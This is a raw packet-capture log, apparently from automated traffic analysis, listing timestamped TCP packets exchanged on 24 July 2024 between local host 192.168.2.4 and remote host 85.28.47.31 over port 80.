Jul 24, 2024 02:39:06.060153961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060163975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060179949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060219049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060447931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060504913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060519934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060547113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060554981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060580969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060606003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060616016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060625076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060650110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060677052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060683966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060703993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060717106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060734987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060753107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060779095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060787916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060801983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060847998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060996056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061032057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061062098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061064959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061077118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061096907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061125040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061131001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061145067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061163902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061182022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061198950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061213017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061232090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061247110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061265945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061280012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061300993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061312914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061359882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061613083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061645985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061672926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061678886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061707020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061712980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061729908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061747074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061765909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061780930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061796904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061814070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061830044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061847925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061876059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061881065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061894894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061913967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061944008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061949015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.061961889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.061980963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062005997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062031984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062057972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062066078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062083006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062100887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062117100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062134027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062153101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062187910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062411070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062446117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062479973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062479973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062506914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062515974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062525988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062577963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062597990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062632084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062661886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062665939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062691927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062700033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062716961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062733889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062750101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062767982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062784910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062803030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062829971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062835932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062854052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062870026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062886953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062902927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062930107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062937021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062954903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.062971115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.062997103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063014030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063021898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063072920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063455105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063488007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063522100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063524008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063549042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063555956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063566923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063590050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063601971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063622952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063640118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063656092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063682079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063688040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063700914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063721895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063750029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063755035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063770056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063791037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063819885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063822031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.063843966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.063875914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.064023972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.064058065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.064088106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.064089060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.064106941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.064137936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.064141989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.064176083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.064192057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.064209938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.064234972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.064243078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.064258099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.064297915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.153137922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153681993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153728962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153747082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153763056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153795958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153850079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153866053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.153882980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153934002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.153947115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.153985023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154004097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154020071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154042006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154055119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154082060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154088974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154114008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154122114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154139996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154154062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154174089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154192924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154211044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154226065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154242039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154261112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154292107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154293060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154309034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154326916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154352903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154381037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154392958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154427052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154455900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154459000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154485941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154491901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154520035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154526949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154553890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154561043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154591084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154594898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154618979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154628038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154650927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154660940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154680014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154695034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154722929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154727936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154746056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154761076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154779911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154794931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154814959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154848099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154850960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154881001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154901028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154917955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154932976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154951096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.154979944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.154985905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155003071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155019045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155038118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155052900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155081034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155087948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155113935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155122042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155145884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155155897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155173063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155189991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155222893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155222893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155241013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155260086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.155277014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.155309916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.202243090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.207355976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.406759977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.406830072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.406866074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.406899929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.406914949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.406934023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.406965971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.406975031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.406995058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407018900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407037973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407052994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407085896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407088995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407113075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407119036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407131910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407154083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407180071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407186985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407197952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407222033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407238007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407255888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407274961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407289982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407303095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407325029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407344103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407358885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407373905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407392979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407409906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407433033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407445908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407464981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407489061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407500029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407521009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407548904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.407943010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407958031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407974005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407989025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.407994986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408005953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408009052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408020973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408036947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408049107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408073902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408113956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408119917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408134937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408154011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408169031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408181906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408196926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408201933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408211946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408226967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408236027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408241987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408257961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408267021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408272028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408288956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408303022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408303022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408319950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408329964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408335924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408353090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408359051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408370018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.408384085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.408425093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409090042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409106970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409121037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409137964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409152985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409156084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409168959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409177065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409184933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409199953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409204960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409214020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409230947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409244061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409245968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409260035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409275055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409279108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409291029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409306049 CEST	80	49730	85.28.47.31	192.168.2.4
